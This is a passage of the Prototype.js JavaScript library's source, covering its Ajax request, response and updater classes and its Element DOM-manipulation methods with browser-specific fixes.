      this.transport.onreadystatechange = Prototype.emptyFunction;
    }
  },

  isSameOrigin: function() {
    var m = this.url.match(/^\s*https?:\/\/[^\/]*/);
    return !m || (m[0] == '#{protocol}//#{domain}#{port}'.interpolate({
      protocol: location.protocol,
      domain: document.domain,
      port: location.port ? ':' + location.port : ''
    }));
  },

  getHeader: function(name) {
    try {
      return this.transport.getResponseHeader(name) || null;
    } catch (e) { return null; }
  },

  evalResponse: function() {
    try {
      return eval((this.transport.responseText || '').unfilterJSON());
    } catch (e) {
      this.dispatchException(e);
    }
  },

  dispatchException: function(exception) {
    (this.options.onException || Prototype.emptyFunction)(this, exception);
    Ajax.Responders.dispatch('onException', this, exception);
  }
});

Ajax.Request.Events =
  ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];








Ajax.Response = Class.create({
  initialize: function(request){
    this.request = request;
    var transport  = this.transport  = request.transport,
        readyState = this.readyState = transport.readyState;

    if((readyState > 2 && !Prototype.Browser.IE) || readyState == 4) {
      this.status       = this.getStatus();
      this.statusText   = this.getStatusText();
      this.responseText = String.interpret(transport.responseText);
      this.headerJSON   = this._getHeaderJSON();
    }

    if(readyState == 4) {
      var xml = transport.responseXML;
      this.responseXML  = Object.isUndefined(xml) ? null : xml;
      this.responseJSON = this._getResponseJSON();
    }
  },

  status:      0,

  statusText: '',

  getStatus: Ajax.Request.prototype.getStatus,

  getStatusText: function() {
    try {
      return this.transport.statusText || '';
    } catch (e) { return '' }
  },

  getHeader: Ajax.Request.prototype.getHeader,

  getAllHeaders: function() {
    try {
      return this.getAllResponseHeaders();
    } catch (e) { return null }
  },

  getResponseHeader: function(name) {
    return this.transport.getResponseHeader(name);
  },

  getAllResponseHeaders: function() {
    return this.transport.getAllResponseHeaders();
  },

  _getHeaderJSON: function() {
    var json = this.getHeader('X-JSON');
    if (!json) return null;
    json = decodeURIComponent(escape(json));
    try {
      return json.evalJSON(this.request.options.sanitizeJSON ||
        !this.request.isSameOrigin());
    } catch (e) {
      this.request.dispatchException(e);
    }
  },

  _getResponseJSON: function() {
    var options = this.request.options;
    if (!options.evalJSON || (options.evalJSON != 'force' &&
      !(this.getHeader('Content-type') || '').include('application/json')) ||
        this.responseText.blank())
          return null;
    try {
      return this.responseText.evalJSON(options.sanitizeJSON ||
        !this.request.isSameOrigin());
    } catch (e) {
      this.request.dispatchException(e);
    }
  }
});

Ajax.Updater = Class.create(Ajax.Request, {
  initialize: function($super, container, url, options) {
    this.container = {
      success: (container.success || container),
      failure: (container.failure || (container.success ? null : container))
    };

    options = Object.clone(options);
    var onComplete = options.onComplete;
    options.onComplete = (function(response, json) {
      this.updateContent(response.responseText);
      if (Object.isFunction(onComplete)) onComplete(response, json);
    }).bind(this);

    $super(url, options);
  },

  updateContent: function(responseText) {
    var receiver = this.container[this.success() ? 'success' : 'failure'],
        options = this.options;

    if (!options.evalScripts) responseText = responseText.stripScripts();

    if (receiver = $(receiver)) {
      if (options.insertion) {
        if (Object.isString(options.insertion)) {
          var insertion = { }; insertion[options.insertion] = responseText;
          receiver.insert(insertion);
        }
        else options.insertion(receiver, responseText);
      }
      else receiver.update(responseText);
    }
  }
});

Ajax.PeriodicalUpdater = Class.create(Ajax.Base, {
  initialize: function($super, container, url, options) {
    $super(options);
    this.onComplete = this.options.onComplete;

    this.frequency = (this.options.frequency || 2);
    this.decay = (this.options.decay || 1);

    this.updater = { };
    this.container = container;
    this.url = url;

    this.start();
  },

  start: function() {
    this.options.onComplete = this.updateComplete.bind(this);
    this.onTimerEvent();
  },

  stop: function() {
    this.updater.options.onComplete = undefined;
    clearTimeout(this.timer);
    (this.onComplete || Prototype.emptyFunction).apply(this, arguments);
  },

  updateComplete: function(response) {
    if (this.options.decay) {
      this.decay = (response.responseText == this.lastText ?
        this.decay * this.options.decay : 1);

      this.lastText = response.responseText;
    }
    this.timer = this.onTimerEvent.bind(this).delay(this.decay * this.frequency);
  },

  onTimerEvent: function() {
    this.updater = new Ajax.Updater(this.container, this.url, this.options);
  }
});



function $(element) {
  if (arguments.length > 1) {
    for (var i = 0, elements = [], length = arguments.length; i < length; i++)
      elements.push($(arguments[i]));
    return elements;
  }
  if (Object.isString(element))
    element = document.getElementById(element);
  return Element.extend(element);
}

if (Prototype.BrowserFeatures.XPath) {
  document._getElementsByXPath = function(expression, parentElement) {
    var results = [];
    var query = document.evaluate(expression, $(parentElement) || document,
      null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
    for (var i = 0, length = query.snapshotLength; i < length; i++)
      results.push(Element.extend(query.snapshotItem(i)));
    return results;
  };
}

/*--------------------------------------------------------------------------*/

if (!window.Node) var Node = { };

if (!Node.ELEMENT_NODE) {
  Object.extend(Node, {
    ELEMENT_NODE: 1,
    ATTRIBUTE_NODE: 2,
    TEXT_NODE: 3,
    CDATA_SECTION_NODE: 4,
    ENTITY_REFERENCE_NODE: 5,
    ENTITY_NODE: 6,
    PROCESSING_INSTRUCTION_NODE: 7,
    COMMENT_NODE: 8,
    DOCUMENT_NODE: 9,
    DOCUMENT_TYPE_NODE: 10,
    DOCUMENT_FRAGMENT_NODE: 11,
    NOTATION_NODE: 12
  });
}


(function(global) {

  var SETATTRIBUTE_IGNORES_NAME = (function(){
    var elForm = document.createElement("form");
    var elInput = document.createElement("input");
    var root = document.documentElement;
    elInput.setAttribute("name", "test");
    elForm.appendChild(elInput);
    root.appendChild(elForm);
    var isBuggy = elForm.elements
      ? (typeof elForm.elements.test == "undefined")
      : null;
    root.removeChild(elForm);
    elForm = elInput = null;
    return isBuggy;
  })();

  var element = global.Element;
  global.Element = function(tagName, attributes) {
    attributes = attributes || { };
    tagName = tagName.toLowerCase();
    var cache = Element.cache;
    if (SETATTRIBUTE_IGNORES_NAME && attributes.name) {
      tagName = '<' + tagName + ' name="' + attributes.name + '">';
      delete attributes.name;
      return Element.writeAttribute(document.createElement(tagName), attributes);
    }
    if (!cache[tagName]) cache[tagName] = Element.extend(document.createElement(tagName));
    return Element.writeAttribute(cache[tagName].cloneNode(false), attributes);
  };
  Object.extend(global.Element, element || { });
  if (element) global.Element.prototype = element.prototype;
})(this);

Element.cache = { };
Element.idCounter = 1;

Element.Methods = {
  visible: function(element) {
    return $(element).style.display != 'none';
  },

  toggle: function(element) {
    element = $(element);
    Element[Element.visible(element) ? 'hide' : 'show'](element);
    return element;
  },


  hide: function(element) {
    element = $(element);
    element.style.display = 'none';
    return element;
  },

  show: function(element) {
    element = $(element);
    element.style.display = '';
    return element;
  },

  remove: function(element) {
    element = $(element);
    element.parentNode.removeChild(element);
    return element;
  },

  update: (function(){

    var SELECT_ELEMENT_INNERHTML_BUGGY = (function(){
      var el = document.createElement("select"),
          isBuggy = true;
      el.innerHTML = "<option value=\"test\">test</option>";
      if (el.options && el.options[0]) {
        isBuggy = el.options[0].nodeName.toUpperCase() !== "OPTION";
      }
      el = null;
      return isBuggy;
    })();

    var TABLE_ELEMENT_INNERHTML_BUGGY = (function(){
      try {
        var el = document.createElement("table");
        if (el && el.tBodies) {
          el.innerHTML = "<tbody><tr><td>test</td></tr></tbody>";
          var isBuggy = typeof el.tBodies[0] == "undefined";
          el = null;
          return isBuggy;
        }
      } catch (e) {
        return true;
      }
    })();

    var SCRIPT_ELEMENT_REJECTS_TEXTNODE_APPENDING = (function () {
      var s = document.createElement("script"),
          isBuggy = false;
      try {
        s.appendChild(document.createTextNode(""));
        isBuggy = !s.firstChild ||
          s.firstChild && s.firstChild.nodeType !== 3;
      } catch (e) {
        isBuggy = true;
      }
      s = null;
      return isBuggy;
    })();

    function update(element, content) {
      element = $(element);

      if (content && content.toElement)
        content = content.toElement();

      if (Object.isElement(content))
        return element.update().insert(content);

      content = Object.toHTML(content);

      var tagName = element.tagName.toUpperCase();

      if (tagName === 'SCRIPT' && SCRIPT_ELEMENT_REJECTS_TEXTNODE_APPENDING) {
        element.text = content;
        return element;
      }

      if (SELECT_ELEMENT_INNERHTML_BUGGY || TABLE_ELEMENT_INNERHTML_BUGGY) {
        if (tagName in Element._insertionTranslations.tags) {
          while (element.firstChild) {
            element.removeChild(element.firstChild);
          }
          Element._getContentFromAnonymousElement(tagName, content.stripScripts())
            .each(function(node) {
              element.appendChild(node)
            });
        }
        else {
          element.innerHTML = content.stripScripts();
        }
      }
      else {
        element.innerHTML = content.stripScripts();
      }

      content.evalScripts.bind(content).defer();
      return element;
    }

    return update;
  })(),

  replace: function(element, content) {
    element = $(element);
    if (content && content.toElement) content = content.toElement();
    else if (!Object.isElement(content)) {
      content = Object.toHTML(content);
      var range = element.ownerDocument.createRange();
      range.selectNode(element);
      content.evalScripts.bind(content).defer();
      content = range.createContextualFragment(content.stripScripts());
    }
    element.parentNode.replaceChild(content, element);
    return element;
  },

  insert: function(element, insertions) {
    element = $(element);

    if (Object.isString(insertions) || Object.isNumber(insertions) ||
        Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML)))
          insertions = {bottom:insertions};

    var content, insert, tagName, childNodes;

    for (var position in insertions) {
      content  = insertions[position];
      position = position.toLowerCase();
      insert = Element._insertionTranslations[position];

      if (content && content.toElement) content = content.toElement();
      if (Object.isElement(content)) {
        insert(element, content);
        continue;
      }

      content = Object.toHTML(content);

      tagName = ((position == 'before' || position == 'after')
        ? element.parentNode : element).tagName.toUpperCase();

      childNodes = Element._getContentFromAnonymousElement(tagName, content.stripScripts());

      if (position == 'top' || position == 'after') childNodes.reverse();
      childNodes.each(insert.curry(element));

      content.evalScripts.bind(content).defer();
    }

    return element;
  },

  wrap: function(element, wrapper, attributes) {
    element = $(element);
    if (Object.isElement(wrapper))
      $(wrapper).writeAttribute(attributes || { });
    else if (Object.isString(wrapper)) wrapper = new Element(wrapper, attributes);
    else wrapper = new Element('div', wrapper);
    if (element.parentNode)
      element.parentNode.replaceChild(wrapper, element);
    wrapper.appendChild(element);
    return wrapper;
  },

  inspect: function(element) {
    element = $(element);
    var result = '<' + element.tagName.toLowerCase();
    $H({'id': 'id', 'className': 'class'}).each(function(pair) {
      var property = pair.first(), attribute = pair.last();
      var value = (element[property] || '').toString();
      if (value) result += ' ' + attribute + '=' + value.inspect(true);
    });
    return result + '>';
  },

  recursivelyCollect: function(element, property) {
    element = $(element);
    var elements = [];
    while (element = element[property])
      if (element.nodeType == 1)
        elements.push(Element.extend(element));
    return elements;
  },

  ancestors: function(element) {
    return Element.recursivelyCollect(element, 'parentNode');
  },

  descendants: function(element) {
    return Element.select(element, "*");
  },

  firstDescendant: function(element) {
    element = $(element).firstChild;
    while (element && element.nodeType != 1) element = element.nextSibling;
    return $(element);
  },

  immediateDescendants: function(element) {
    if (!(element = $(element).firstChild)) return [];
    while (element && element.nodeType != 1) element = element.nextSibling;
    if (element) return [element].concat($(element).nextSiblings());
    return [];
  },

  previousSiblings: function(element) {
    return Element.recursivelyCollect(element, 'previousSibling');
  },

  nextSiblings: function(element) {
    return Element.recursivelyCollect(element, 'nextSibling');
  },

  siblings: function(element) {
    element = $(element);
    return Element.previousSiblings(element).reverse()
      .concat(Element.nextSiblings(element));
  },

  match: function(element, selector) {
    if (Object.isString(selector))
      selector = new Selector(selector);
    return selector.match($(element));
  },

  up: function(element, expression, index) {
    element = $(element);
    if (arguments.length == 1) return $(element.parentNode);
    var ancestors = Element.ancestors(element);
    return Object.isNumber(expression) ? ancestors[expression] :
      Selector.findElement(ancestors, expression, index);
  },

  down: function(element, expression, index) {
    element = $(element);
    if (arguments.length == 1) return Element.firstDescendant(element);
    return Object.isNumber(expression) ? Element.descendants(element)[expression] :
      Element.select(element, expression)[index || 0];
  },

  previous: function(element, expression, index) {
    element = $(element);
    if (arguments.length == 1) return $(Selector.handlers.previousElementSibling(element));
    var previousSiblings = Element.previousSiblings(element);
    return Object.isNumber(expression) ? previousSiblings[expression] :
      Selector.findElement(previousSiblings, expression, index);
  },

  next: function(element, expression, index) {
    element = $(element);
    if (arguments.length == 1) return $(Selector.handlers.nextElementSibling(element));
    var nextSiblings = Element.nextSiblings(element);
    return Object.isNumber(expression) ? nextSiblings[expression] :
      Selector.findElement(nextSiblings, expression, index);
  },


  select: function(element) {
    var args = Array.prototype.slice.call(arguments, 1);
    return Selector.findChildElements(element, args);
  },

  adjacent: function(element) {
    var args = Array.prototype.slice.call(arguments, 1);
    return Selector.findChildElements(element.parentNode, args).without(element);
  },

  identify: function(element) {
    element = $(element);
    var id = Element.readAttribute(element, 'id');
    if (id) return id;
    do { id = 'anonymous_element_' + Element.idCounter++ } while ($(id));
    Element.writeAttribute(element, 'id', id);
    return id;
  },

  readAttribute: function(element, name) {
    element = $(element);
    if (Prototype.Browser.IE) {
      var t = Element._attributeTranslations.read;
      if (t.values[name]) return t.values[name](element, name);
      if (t.names[name]) name = t.names[name];
      if (name.include(':')) {
        return (!element.attributes || !element.attributes[name]) ? null :
         element.attributes[name].value;
      }
    }
    return element.getAttribute(name);
  },

  writeAttribute: function(element, name, value) {
    element = $(element);
    var attributes = { }, t = Element._attributeTranslations.write;

    if (typeof name == 'object') attributes = name;
    else attributes[name] = Object.isUndefined(value) ? true : value;

    for (var attr in attributes) {
      name = t.names[attr] || attr;
      value = attributes[attr];
      if (t.values[attr]) name = t.values[attr](element, value);
      if (value === false || value === null)
        element.removeAttribute(name);
      else if (value === true)
        element.setAttribute(name, name);
      else element.setAttribute(name, value);
    }
    return element;
  },

  getHeight: function(element) {
    return Element.getDimensions(element).height;
  },

  getWidth: function(element) {
    return Element.getDimensions(element).width;
  },

  classNames: function(element) {
    return new Element.ClassNames(element);
  },

  hasClassName: function(element, className) {
    if (!(element = $(element))) return;
    var elementClassName = element.className;
    return (elementClassName.length > 0 && (elementClassName == className ||
      new RegExp("(^|\\s)" + className + "(\\s|$)").test(elementClassName)));
  },

  addClassName: function(element, className) {
    if (!(element = $(element))) return;
    if (!Element.hasClassName(element, className))
      element.className += (element.className ? ' ' : '') + className;
    return element;
  },

  removeClassName: function(element, className) {
    if (!(element = $(element))) return;
    element.className = element.className.replace(
      new RegExp("(^|\\s+)" + className + "(\\s+|$)"), ' ').strip();
    return element;
  },

  toggleClassName: function(element, className) {
    if (!(element = $(element))) return;
    return Element[Element.hasClassName(element, className) ?
      'removeClassName' : 'addClassName'](element, className);
  },

  cleanWhitespace: function(element) {
    element = $(element);
    var node = element.firstChild;
    while (node) {
      var nextNode = node.nextSibling;
      if (node.nodeType == 3 && !/\S/.test(node.nodeValue))
        element.removeChild(node);
      node = nextNode;
    }
    return element;
  },

  empty: function(element) {
    return $(element).innerHTML.blank();
  },

  descendantOf: function(element, ancestor) {
    element = $(element), ancestor = $(ancestor);

    if (element.compareDocumentPosition)
      return (element.compareDocumentPosition(ancestor) & 8) === 8;

    if (ancestor.contains)
      return ancestor.contains(element) && ancestor !== element;

    while (element = element.parentNode)
      if (element == ancestor) return true;

    return false;
  },

  scrollTo: function(element) {
    element = $(element);
    var pos = Element.cumulativeOffset(element);
    window.scrollTo(pos[0], pos[1]);
    return element;
  },

  getStyle: function(element, style) {
    element = $(element);
    style = style == 'float' ? 'cssFloat' : style.camelize();
    var value = element.style[style];
    if (!value || value == 'auto') {
      var css = document.defaultView.getComputedStyle(element, null);
      value = css ? css[style] : null;
    }
    if (style == 'opacity') return value ? parseFloat(value) : 1.0;
    return value == 'auto' ? null : value;
  },

  getOpacity: function(element) {
    return $(element).getStyle('opacity');
  },

  setStyle: function(element, styles) {
    element = $(element);
    var elementStyle = element.style, match;
    if (Object.isString(styles)) {
      element.style.cssText += ';' + styles;
      return styles.include('opacity') ?
        element.setOpacity(styles.match(/opacity:\s*(\d?\.?\d*)/)[1]) : element;
    }
    for (var property in styles)
      if (property == 'opacity') element.setOpacity(styles[property]);
      else
        elementStyle[(property == 'float' || property == 'cssFloat') ?
          (Object.isUndefined(elementStyle.styleFloat) ? 'cssFloat' : 'styleFloat') :
            property] = styles[property];

    return element;
  },

  setOpacity: function(element, value) {
    element = $(element);
    element.style.opacity = (value == 1 || value === '') ? '' :
      (value < 0.00001) ? 0 : value;
    return element;
  },

  getDimensions: function(element) {
    element = $(element);
    var display = Element.getStyle(element, 'display');
    if (display != 'none' && display != null) // Safari bug
      return {width: element.offsetWidth, height: element.offsetHeight};

    var els = element.style;
    var originalVisibility = els.visibility;
    var originalPosition = els.position;
    var originalDisplay = els.display;
    els.visibility = 'hidden';
    if (originalPosition != 'fixed') // Switching fixed to absolute causes issues in Safari
      els.position = 'absolute';
    els.display = 'block';
    var originalWidth = element.clientWidth;
    var originalHeight = element.clientHeight;
    els.display = originalDisplay;
    els.position = originalPosition;
    els.visibility = originalVisibility;
    return {width: originalWidth, height: originalHeight};
  },

  makePositioned: function(element) {
    element = $(element);
    var pos = Element.getStyle(element, 'position');
    if (pos == 'static' || !pos) {
      element._madePositioned = true;
      element.style.position = 'relative';
      if (Prototype.Browser.Opera) {
        element.style.top = 0;
        element.style.left = 0;
      }
    }
    return element;
  },

  undoPositioned: function(element) {
    element = $(element);
    if (element._madePositioned) {
      element._madePositioned = undefined;
      element.style.position =
        element.style.top =
        element.style.left =
        element.style.bottom =
        element.style.right = '';
    }
    return element;
  },

  makeClipping: function(element) {
    element = $(element);
    if (element._overflow) return element;
    element._overflow = Element.getStyle(element, 'overflow') || 'auto';
    if (element._overflow !== 'hidden')
      element.style.overflow = 'hidden';
    return element;
  },

  undoClipping: function(element) {
    element = $(element);
    if (!element._overflow) return element;
    element.style.overflow = element._overflow == 'auto' ? '' : element._overflow;
    element._overflow = null;
    return element;
  },

  cumulativeOffset: function(element) {
    var valueT = 0, valueL = 0;
    do {
      valueT += element.offsetTop  || 0;
      valueL += element.offsetLeft || 0;
      element = element.offsetParent;
    } while (element);
    return Element._returnOffset(valueL, valueT);
  },

  positionedOffset: function(element) {
    var valueT = 0, valueL = 0;
    do {
      valueT += element.offsetTop  || 0;
      valueL += element.offsetLeft || 0;
      element = element.offsetParent;
      if (element) {
        if (element.tagName.toUpperCase() == 'BODY') break;
        var p = Element.getStyle(element, 'position');
        if (p !== 'static') break;
      }
    } while (element);
    return Element._returnOffset(valueL, valueT);
  },

  absolutize: function(element) {
    element = $(element);
    if (Element.getStyle(element, 'position') == 'absolute') return element;

    var offsets = Element.positionedOffset(element);
    var top     = offsets[1];
    var left    = offsets[0];
    var width   = element.clientWidth;
    var height  = element.clientHeight;

    element._originalLeft   = left - parseFloat(element.style.left  || 0);
    element._originalTop    = top  - parseFloat(element.style.top || 0);
    element._originalWidth  = element.style.width;
    element._originalHeight = element.style.height;

    element.style.position = 'absolute';
    element.style.top    = top + 'px';
    element.style.left   = left + 'px';
    element.style.width  = width + 'px';
    element.style.height = height + 'px';
    return element;
  },

  relativize: function(element) {
    element = $(element);
    if (Element.getStyle(element, 'position') == 'relative') return element;

    element.style.position = 'relative';
    var top  = parseFloat(element.style.top  || 0) - (element._originalTop || 0);
    var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0);

    element.style.top    = top + 'px';
    element.style.left   = left + 'px';
    element.style.height = element._originalHeight;
    element.style.width  = element._originalWidth;
    return element;
  },

  cumulativeScrollOffset: function(element) {
    var valueT = 0, valueL = 0;
    do {
      valueT += element.scrollTop  || 0;
      valueL += element.scrollLeft || 0;
      element = element.parentNode;
    } while (element);
    return Element._returnOffset(valueL, valueT);
  },

  getOffsetParent: function(element) {
    if (element.offsetParent) return $(element.offsetParent);
    if (element == document.body) return $(element);

    while ((element = element.parentNode) && element != document.body)
      if (Element.getStyle(element, 'position') != 'static')
        return $(element);

    return $(document.body);
  },

  viewportOffset: function(forElement) {
    var valueT = 0, valueL = 0;

    var element = forElement;
    do {
      valueT += element.offsetTop  || 0;
      valueL += element.offsetLeft || 0;

      if (element.offsetParent == document.body &&
        Element.getStyle(element, 'position') == 'absolute') break;

    } while (element = element.offsetParent);

    element = forElement;
    do {
      if (!Prototype.Browser.Opera || (element.tagName && (element.tagName.toUpperCase() == 'BODY'))) {
        valueT -= element.scrollTop  || 0;
        valueL -= element.scrollLeft || 0;
      }
    } while (element = element.parentNode);

    return Element._returnOffset(valueL, valueT);
  },

  clonePosition: function(element, source) {
    var options = Object.extend({
      setLeft:    true,
      setTop:     true,
      setWidth:   true,
      setHeight:  true,
      offsetTop:  0,
      offsetLeft: 0
    }, arguments[2] || { });

    source = $(source);
    var p = Element.viewportOffset(source);

    element = $(element);
    var delta = [0, 0];
    var parent = null;
    if (Element.getStyle(element, 'position') == 'absolute') {
      parent = Element.getOffsetParent(element);
      delta = Element.viewportOffset(parent);
    }

    if (parent == document.body) {
      delta[0] -= document.body.offsetLeft;
      delta[1] -= document.body.offsetTop;
    }

    if (options.setLeft)   element.style.left  = (p[0] - delta[0] + options.offsetLeft) + 'px';
    if (options.setTop)    element.style.top   = (p[1] - delta[1] + options.offsetTop) + 'px';
    if (options.setWidth)  element.style.width = source.offsetWidth + 'px';
    if (options.setHeight) element.style.height = source.offsetHeight + 'px';
    return element;
  }
};

Object.extend(Element.Methods, {
  getElementsBySelector: Element.Methods.select,

  childElements: Element.Methods.immediateDescendants
});

Element._attributeTranslations = {
  write: {
    names: {
      className: 'class',
      htmlFor:   'for'
    },
    values: { }
  }
};

if (Prototype.Browser.Opera) {
  Element.Methods.getStyle = Element.Methods.getStyle.wrap(
    function(proceed, element, style) {
      switch (style) {
        case 'left': case 'top': case 'right': case 'bottom':
          if (proceed(element, 'position') === 'static') return null;
        case 'height': case 'width':
          if (!Element.visible(element)) return null;

          var dim = parseInt(proceed(element, style), 10);

          if (dim !== element['offset' + style.capitalize()])
            return dim + 'px';

          var properties;
          if (style === 'height') {
            properties = ['border-top-width', 'padding-top',
             'padding-bottom', 'border-bottom-width'];
          }
          else {
            properties = ['border-left-width', 'padding-left',
             'padding-right', 'border-right-width'];
          }
          return properties.inject(dim, function(memo, property) {
            var val = proceed(element, property);
            return val === null ? memo : memo - parseInt(val, 10);
          }) + 'px';
        default: return proceed(element, style);
      }
    }
  );

  Element.Methods.readAttribute = Element.Methods.readAttribute.wrap(
    function(proceed, element, attribute) {
      if (attribute === 'title') return element.title;
      return proceed(element, attribute);
    }
  );
}

else if (Prototype.Browser.IE) {
  Element.Methods.getOffsetParent = Element.Methods.getOffsetParent.wrap(
    function(proceed, element) {
      element = $(element);
      try { element.offsetParent }
      catch(e) { return $(document.body) }
      var position = element.getStyle('position');
      if (position !== 'static') return proceed(element);
      element.setStyle({ position: 'relative' });
      var value = proceed(element);
      element.setStyle({ position: position });
      return value;
    }
  );

  $w('positionedOffset viewportOffset').each(function(method) {
    Element.Methods[method] = Element.Methods[method].wrap(
      function(proceed, element) {
        element = $(element);
        try { element.offsetParent }
        catch(e) { return Element._returnOffset(0,0) }
        var position = element.getStyle('position');
        if (position !== 'static') return proceed(element);
        var offsetParent = element.getOffsetParent();
        if (offsetParent && offsetParent.getStyle('position') === 'fixed')
          offsetParent.setStyle({ zoom: 1 });
        element.setStyle({ position: 'relative' });
        var value = proceed(element);
        element.setStyle({ position: position });
        return value;
      }
    );
  });

  Element.Methods.cumulativeOffset = Element.Methods.cumulativeOffset.wrap(
    function(proceed, element) {
      try { element.offsetParent }
      catch(e) { return Element._returnOffset(0,0) }
      return proceed(element);
    }
  );

  Element.Methods.getStyle = function(element, style) {
    element = $(element);
    style = (style == 'float' || style == 'cssFloat') ? 'styleFloat' : style.camelize();
    var value = element.style[style];
    if (!value && element.currentStyle) value = element.currentStyle[style];

    if (style == 'opacity') {
      if (value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/))
        if (value[1]) return parseFloat(value[1]) / 100;
      return 1.0;
    }

    if (value == 'auto') {
      if ((style == 'width' || style == 'height') && (element.getStyle('display') != 'none'))
        return element['offset' + style.capitalize()] + 'px';
      return null;
    }
    return value;
  };

  Element.Methods.setOpacity = function(element, value) {
    function stripAlpha(filter){
      return filter.replace(/alpha\([^\)]*\)/gi,'');
    }
    element = $(element);
    var currentStyle = element.currentStyle;
    if ((currentStyle && !currentStyle.hasLayout) ||
      (!currentStyle && element.style.zoom == 'normal'))
        element.style.zoom = 1;

    var filter = element.getStyle('filter'), style = element.style;
    if (value == 1 || value === '') {
      (filter = stripAlpha(filter)) ?
        style.filter = filter : style.removeAttribute('filter');
      return element;
    } else if (value < 0.00001) value = 0;
    style.filter = stripAlpha(filter) +
      'alpha(opacity=' + (value * 100) + ')';
    return element;
  };

  Element._attributeTranslations = (function(){

    var classProp = 'className';
    var forProp = 'for';

    var el = document.createElement('div');

    el.setAttribute(classProp, 'x');

    if (el.className !== 'x') {
      el.setAttribute('class', 'x');
      if (el.className === 'x') {
        classProp = 'class';
      }
    }
    el = null;

    el = document.createElement('label');
    el.setAttribute(forProp, 'x');
    if (el.htmlFor !== 'x') {
      el.setAttribute('htmlFor', 'x');
      if (el.htmlFor === 'x') {
        forProp = 'htmlFor';
      }
    }
    el = null;

    return {
      read: {
        names: {
          'class':      classProp,
          'className':  classProp,
          'for':        forProp,
          'htmlFor':    forProp
        },
        values: {
          _getAttr: function(element, attribute) {
            return element.getAttribute(attribute);
          },
          _getAttr2: function(element, attribute) {
            return element.getAttribute(attribute, 2);
          },
          _getAttrNode: function(element, attribute) {
            var node = element.getAttributeNode(attribute);
            return node ? node.value : "";
          },
          _getEv: (function(){

            var el = document.createElement('div');
            el.onclick = Prototype.emptyFunction;
            var value = el.getAttribute('onclick');
            var f;

            if (String(value).indexOf('{') > -1) {
              f = function(element, attribute) {
                attribute = element.getAttribute(attribute);
                if (!attribute) return null;
                attribute = attribute.toString();
                attribute = attribute.split('{')[1];
                attribute = attribute.split('}')[0];
                return attribute.strip();
              };
            }
            else if (value === '') {
              f = function(element, attribute) {
                attribute = element.getAttribute(attribute);
                if (!attribute) return null;
                return attribute.strip();
              };
            }
            el = null;
            return f;
          })(),
          _flag: function(element, attribute) {
            return $(element).hasAttribute(attribute) ? attribute : null;
          },
          style: function(element) {
            return element.style.cssText.toLowerCase();
          },
          title: function(element) {
            return element.title;
          }
        }
      }
    }
  })();

  Element._attributeTranslations.write = {
    names: Object.extend({
      cellpadding: 'cellPadding',
      cellspacing: 'cellSpacing'
    }, Element._attributeTranslations.read.names),
    values: {
      checked: function(element, value) {
        element.checked = !!value;
      },

      style: function(element, value) {
        element.style.cssText = value ? value : '';
      }
    }
  };

  Element._attributeTranslations.has = {};

  $w('colSpan rowSpan vAlign dateTime accessKey tabIndex ' +
      'encType maxLength readOnly longDesc frameBorder').each(function(attr) {
    Element._attributeTranslations.write.names[attr.toLowerCase()] = attr;
    Element._attributeTranslations.has[attr.toLowerCase()] = attr;
  });

  (function(v) {
    Object.extend(v, {
      href:        v._getAttr2,
      src:         v._getAttr2,
      type:        v._getAttr,
      action:      v._getAttrNode,
      disabled:    v._flag,
      checked:     v._flag,
      readonly:    v._flag,
      multiple:    v._flag,
      onload:      v._getEv,
      onunload:    v._getEv,
      onclick:     v._getEv,
      ondblclick:  v._getEv,
      onmousedown: v._getEv,
      onmouseup:   v._getEv,
      onmouseover: v._getEv,
      onmousemove: v._getEv,
      onmouseout:  v._getEv,
      onfocus:     v._getEv,
      onblur:      v._getEv,
      onkeypress:  v._getEv,
      onkeydown:   v._getEv,
      onkeyup:     v._getEv,
      onsubmit:    v._getEv,
      onreset:     v._getEv,
      onselect:    v._getEv,
      onchange:    v._getEv
    });
  })(Element._attributeTranslations.read.values);

  if (Prototype.BrowserFeatures.ElementExtensions) {
    (function() {
      function _descendants(element) {
        var nodes = element.getElementsByTagName('*'), results = [];
        for (var i = 0, node; node = nodes[i]; i++)
          if (node.tagName !== "!") // Filter out comment nodes.
            results.push(node);
        return results;
      }

      Element.Methods.down = function(element, expression, index) {
        element = $(element);
        if (arguments.length == 1) return element.firstDescendant();
        return Object.isNumber(expression) ? _descendants(element)[expression] :
          Element.select(element, expression)[index || 0];
      }
    })();
  }

}

else if (Prototype.Browser.Gecko && /rv:1\.8\.0/.test(navigator.userAgent)) {
  Element.Methods.setOpacity = function(element, value) {
    element = $(element);
    element.style.opacity = (value == 1) ? 0.999999 :
      (value === '') ? '' : (value < 0.00001) ? 0 : value;
    return element;
  };
}

else if (Prototype.Browser.WebKit) {
  Element.Methods.setOpacity = function(element, value) {
    element = $(element);
    element.style.opacity = (value == 1 || value === '') ? '' :
      (value < 0.00001) ? 0 : value;

    if (value == 1)
      if(element.tagName.toUpperCase() == 'IMG' && element.width) {
        element.width++; element.width--;
      } else try {
        var n = document.createTextNode(' ');
        element.appendChild(n);
        element.removeChild(n);
      } catch (e) { }

    return element;
  };

  Element.Methods.cumulativeOffset = function(element) {
    var valueT = 0, valueL = 0;
    do {
      valueT += element.offsetTop  || 0;
      valueL += element.offsetLeft || 0;
      if (element.offsetParent == document.body)
        if (Element.getStyle(element, 'position') == 'absolute') break;

      element = element.offsetParent;
    } while (element);

    return Element._returnOffset(valueL, valueT);
  };
}

if ('outerHTML' in document.documentElement) {
  Element.Methods.replace = function(element, content) {
    element = $(element);

    if (content && content.toElement) content = content.toElement();
    if (Object.isElement(content)) {
      element.parentNode.replaceChild(content, element);
      return element;
    }

    content = Object.toHTML(content);
    var parent = element.parentNode, tagName = parent.tagName.toUpperCase();

    if (Element._insertionTranslations.tags[tagName]) {
      var nextSibling = element.next();
      var fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
      parent.removeChild(element);
      if (nextSibling)
        fragments.each(function(node) { parent.insertBefore(node, nextSibling) });
      else
        fragments.each(function(node) { parent.appendChild(node) });
    }
    else element.outerHTML = content.stripScripts();

    content.evalScripts.bind(content).defer();
    return element;
  };
}

Element._returnOffset = function(l, t) {
  var result = [l, t];
  result.left = l;
  result.top = t;
  return result;
};

Element._getContentFromAnonymousElement = function(tagName, html) {
  var div = new Element('div'), t = Element._insertionTranslations.tags[tagName];
  if (t) {
